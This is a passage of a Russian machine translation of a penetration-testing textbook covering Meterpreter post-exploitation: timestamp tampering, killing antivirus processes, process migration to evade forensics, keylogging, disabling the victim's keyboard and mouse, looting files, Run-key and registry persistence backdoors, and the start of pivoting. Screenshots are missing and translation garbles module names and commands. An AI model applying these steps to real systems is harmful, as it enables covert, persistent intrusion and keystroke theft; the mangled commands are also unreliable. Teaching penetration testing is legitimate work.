Чтобы установить все временные метки на определенное время, вы можете использовать параметр (-z) и
укажите новую метку времени в формате «ММ / ДД / ГГГГ.
ЧЧ24: ММ: СС »следующим образом:

Затем мы можем проверить новые временные метки:

Модуль / post / windows / manage / killav


Этот модуль убивает антивирусные процессы. В нем есть список предустановленных антивирусов.
https://translate.googleusercontent.com/translate_f 193/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
исполняемые файлы; и ищет в запущенных процессах любой из этих
исполняемые файлы. Если он находит какой-либо из них, он пытается убить этот процесс.
Список предопределенных исполняемых файлов AV доступен по следующему пути:
/usr/share/metasploit-framework/data/wordlists/av_hips_executables.txt

В следующей таблице показаны некоторые антивирусные продукты, которые могут быть уничтожены
Измеритель:

ave32.exe hacktracersetup.exe popscan.exe zonealarm.exe


avgctrl.exe ollydbg.exe safeweb.exe wupdt.exe
firewall.exe patch.exe vsmon.exe scan32.exe

Стр. Решебника 263

Взаимодействие с операционной системой


Meterpreter предлагает несколько команд для взаимодействия с системой. Во-первых, есть
команда <migrate>, которая позволяет перенести ядро ​Meterpreter
сервис для другого запущенного процесса. Кроме того, есть команды для выполнения
регистрация ключей в целевой системе и другие команды для управления Пользователем.
Интерфейс.
Перенос процессов
Ранее мы объясняли, как базовая служба Meterpreter вводится в
запуск процесса с помощью техники Reflective DLL Injection. Чаще всего
Первым процессом, в который внедряется служба Meterpreter, является rundll32.exe.
Есть разные причины, по которым вы хотите перейти на другой процесс; в
Вот некоторые из них:

У нового процесса могут быть токены доступа, которые вы можете


рычаги для доступа к различным ресурсам.
Новый процесс может иметь доступ к определенным буферам ввода-вывода и
перейдя на него, вы получите доступ к входам и выходам этого
буфер.
Новый процесс может быть менее заметен с точки зрения криминалистики. Rundll32.exe
является признаком компромисса, поскольку его используют многие полезные нагрузки.
Чтобы перейти на другой процесс, вам нужно сначала получить идентификатор процесса (PID);
а затем перейдите к нему. Следующий фрагмент демонстрирует миграцию в действии:

https://translate.googleusercontent.com/translate_f 194/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 264

Ключевой журнал
Ведение журнала ключей - это процесс записи того, что пользователь вводит на своей
клавиатура. Meterpreter предлагает три команды для такой функции:

keyscan_start: запускает механизм захвата; независимо от пользователя


типы будут захвачены и сохранены в буфере.
keyscan_dump: он сбросит все, что было захвачено до сих пор.
keyscan_stop: остановит механизм захвата.

Стр. Решебника 265

https://translate.googleusercontent.com/translate_f 195/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Ниже показано действие ключевого журнала:

Управление пользовательским интерфейсом


Meterpreter дает вам возможность управлять пользовательским интерфейсом жертвы.
Это означает управление клавиатурой и мышью. Вы можете отключить / включить
любой из них в любое время. Ниже приведено меню справки uictl.
команда:

Стр. Решебника 266

В следующем примере показано, как отключить, а затем снова включить


клавиатура и мышь у жертвы:

Взаимодействие с файловой системой


https://translate.googleusercontent.com/translate_f 196/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Этот шаг включает поиск, редактирование, загрузку и загрузку соответствующих
файлы. Вас могут заинтересовать такие файлы, как текстовые документы, электронные таблицы,
изображения, видео, текстовые файлы и т. д. Вас также может заинтересовать загрузка ваших
файлы, будь то файлы данных или исполняемые. Meterpreter предоставляет вам
различные команды для взаимодействия с файловой системой. Кроме того, есть несколько
модули, которые также помогают в этой области.
Команды Meterpreter

pwd

Рабочий каталог печати (PWD); эта команда показывает текущий


каталог в целевой системе.

lpwd

Локальный рабочий каталог печати (LPWD); эта команда показывает

Стр. Решебника 267

текущий каталог в системе Metasploit .

cd (например, cd c: \\ )

Изменить каталог; изменить рабочий каталог на указанный в


целевая система.

lcd (например, lcd / )

Локальный каталог изменений; изменить рабочий каталог на указанный


один в системе Metasploit .
ls

Список; эта команда выводит список содержимого текущего каталога в


целевая система.
lls

Местный список; эта команда выводит список содержимого текущего каталога в


Metasploit система.

cat <имя_файла>

Объединить; эта команда распечатывает содержимое файла, расположенного по адресу


целевая система.
del <имя_файла>

Удалить; эта команда удаляет определенный файл в целевой системе.


mkdir (например, mkdir c: \\ mydirectory)

Сделать каталог; эта команда создает новый каталог в целевом объекте


система.

загрузить <имя_файла> (например, загрузить c: \\ file.txt)

https://translate.googleusercontent.com/translate_f 197/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Эта команда
Система загружает
Metasploit . определенный файл из целевой системы в

Стр. Решебника 268

загрузить <имя_файла>

Эта команда загружает определенный файл из системы Metasploit в


целевая система.

отредактируйте <имя_файла> (например, отредактируйте c: \\ file.txt)

Эта команда позволяет редактировать определенный файл. Редактирование сделано


с помощью текстового редактора UNIX vi.
поиск (например, поиск -dc: \\ -f * .doc)

Эта команда позволяет вам искать определенные типы файлов в


конкретный каталог.

Show_mount

Эта команда распечатывает доступные монтирования или диски на целевом объекте.


система.

cp (например, cp myfile.doc myfile2.doc)

Эта команда копирует определенный файл из источника в место назначения в


целевая система.
Модули
Следующий модуль является отличным модулем после эксплуатации для перечисления
файлы в целевой системе:
сообщение / окна / сбор / enum_files
Вот параметры, связанные с этим модулем:

Стр. Решебника 269

Этот модуль позволяет вам искать и загружать определенные файлы. В


В следующем примере показано, как искать и загружать файлы PDF.

https://translate.googleusercontent.com/translate_f 198/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Файлы будут загружены в определенный каталог на вашем домашнем пути. в


пример выше, файлы были загружены в /home/kali/.msf4/loot/

Стр. Решебника 270

Постоянный бэкдор
Тип доступа, которого мы достигли до сих пор, является временным; мы теряем это однажды
система выключается или перезагружается. Таким образом, если мы хотим иметь постоянный или
постоянное соединение, нам нужно установить бэкдор, который восстанавливает
сеанс после перезагрузки. Meterpreter предлагает различные модули для достижения
желаемая настойчивость. Мы сосредоточимся здесь на двух таких модулях:
эксплойт / окна / локальный / постоянство
Этот модуль выполняет следующие шаги:

1. Он создает сценарий VBS в файловой системе целевой системы (


по умолчанию он находится в папке C: \ Windows \ Temp \). Скрипт VBS содержит
закодированная полезная нагрузка (по умолчанию это Meterpreter).
2. Он создает значение строки реестра под ключом выполнения.
( HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ ), который указывает на
Скрипт VBS. Это приводит к тому, что сценарий VBS запускается всякий раз, когда
пользователь входит в систему.
3. После выполнения сценария сценарий извлекает полезные данные в
исполняемый файл (EXE). Затем EXE-файл подключается к

https://translate.googleusercontent.com/translate_f 199/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Система Metasploit и устанавливает сеанс.
Здесь важно отметить, что вам нужно будет настроить Multi Handler на
Metasploit. Задача обработчика - получить соединение от постоянного
черный ход. Рекомендуется настроить обработчик перед запуском
модуль сохранения.

Стр. Решебника 271

Вот как настроить обработчик для получения Reverse TCP Meterpreter


подключение по порту 5678:

https://translate.googleusercontent.com/translate_f 200/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 272

Ниже показаны параметры модуля сохраняемости:

Стр. Решебника 273

EXE_NAME указует исполняемый файл , в который


полезная нагрузка будет записываться всякий раз, когда запускается сценарий VBS; к
https://translate.googleusercontent.com/translate_f 201/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
по умолчанию - случайный.
VBS_NAME указывает имя VBS скрипта и по
по умолчанию это случайное значение.
ПУТЬ указывает, где хранится исполняемый файл; к
по умолчанию он находится в каталоге% TEMP% ( C: \ Users \
<имя пользователя> \ AppData \ Local \ Temp ).
REG_NAME указывает имя значения реестра , что
будет создан под ключом запуска.
DELAY показывает , как часто полезная нагрузка будет пытаться
подключиться к системе Metasploit, когда соединение не установлено
учредил.
STARTUP указывает , когда для запуска полезной нагрузки. Значение USER
означает, что он будет выполняться при входе пользователя в систему, а значение SYSTEM
означает, что он будет работать при загрузке системы. ( Примечание: по опыту,
Значение USER не работает; а значение SYSTEM всегда работает на
вход пользователя )

Ниже показано, как настроить и запустить модуль сохранения состояния:

Стр. Решебника 274

Когда модуль запускается, мы можем заметить следующее:

Он создал сценарий VBS, C: \ Windows \ TEMP \ pYofercT.vbs

Он добавил значение реестра « rntqatrUxyaZa » в ключ запуска; в


значение указывает на сценарий VBS

https://translate.googleusercontent.com/translate_f 202/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Он создал файл ресурсов очистки «WIN7-PC_20201016.0901.rc»


в локальной системе Metasploit. Вы можете запустить этот файл, чтобы очистить
бэкдор персистентности в целевой системе.
После перезагрузки целевой системы вызывается сценарий VBS; и, в свою очередь, это будет
создать EXE-файл с полезной нагрузкой, который будет подключаться к Metasploit
система. На следующем изображении показан EXE-файл, созданный после перезагрузки:

Стр. Решебника 275

Чтобы очистить бэкдор, вы можете запустить файл ресурсов следующим образом:

эксплойт / Windows / локальный / реестр_персистентность


Модуль сохранения реестра отличается от предыдущего тем, что
полезная нагрузка хранится в реестре - как длинный двоичный объект, BLOB - вместо этого
сценария VBS или даже EXE-файла. Все хранится в реестре и
запускается из реестра. Ниже показаны параметры этого модуля:

https://translate.googleusercontent.com/translate_f 203/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 276

BLOB_REG_KEY указывает имя ключа реестра; Это


создается под ключом HKLM \ Software \. По умолчанию случайное имя
дано.
BLOG_REG_NAME указывает значение созданного под
предыдущий ключ. По умолчанию дается случайное имя.
RUN_NAME указывает значение созданного под Run Key.
Это значение будет указывать на BLOG_REG_NAME. По умолчанию
дается случайное имя.
STARTUP указывает , когда для запуска полезной нагрузки. Значение USER
означает, что он будет выполняться при входе пользователя в систему, а значение SYSTEM
означает, что он будет работать при загрузке системы. ( Примечание: по опыту,
Значение USER не работает; а значение SYSTEM всегда работает на
вход пользователя )
Ниже показано, как настроить и запустить модуль (убедитесь, что вы
настроили Multi Handler, работающий как задание):

Стр. Решебника 277

https://translate.googleusercontent.com/translate_f 204/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Были выполнены следующие действия:
Новый раздел реестра HKLM \ Software \ o2cnhF2U был
созданный.
Внутри этого ключа было создано новое значение Jy93Fh7X . Значение
содержит полезную нагрузку как длинный двоичный объект (BLOB).

Новое значение PAuCe0Un было создано под ключом выполнения.


Значение запускается, когда система загружается или пользователь входит в систему,
и запускает полезную нагрузку.

Поворотные механизмы и реле для экстремального постэксплуатационного контроля


Поворот и ретрансляция - это два разных, но связанных между собой метода. Они есть
связаны, потому что оба используют систему жертвы, чтобы глубже проникнуть в
целевая сеть. Но у каждого из них своя цель. Пивотинг направлен на
использование других систем, доступных только через жертву, при ретрансляции
направлен на изучение ресурсов, доступных только через жертву. С поворотом,
мы можем иметь удаленную оболочку на вторичных системах, туннелированную через первую
начальный снаряд по первой жертве. А с ретрансляцией мы получим доступ к ресурсам на
вторичные системы туннелировались через сеанс оболочки на жертве.

Возьмем следующий сценарий:

Стр. Решебника 278

https://translate.googleusercontent.com/translate_f 205/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

В данном случае наш IP-адрес 10.10.10.10; и с этой машины мы


пентестинг целевой организации, у которой есть общедоступный веб-сервер,
с публичным IP-адресом 50.50.50.50. Внешний брандмауэр блокирует все
входящий трафик, кроме порта 80 (http), но он разрешает исходящий трафик без
ограничение. Веб-сервер имеет частный IP-адрес 192.168.0.10 для
общаться с другими системами в LAN или DMZ.

В этом сценарии нам удалось скомпрометировать веб-сервер 50.50.50.50.

Стр. Решебника 279

и получил обратную оболочку. Предположим, что мы используем Metasploit.


платформе, и что мы использовали полезную нагрузку Meterpreter для использования веб-
сервер. После успешной эксплуатации мы получим приглашение Meterpreter как
следует:
meterpreter>

Две другие системы за брандмауэром: (1) Система Windows 7 -


192.168.0.11 - это уязвимо чер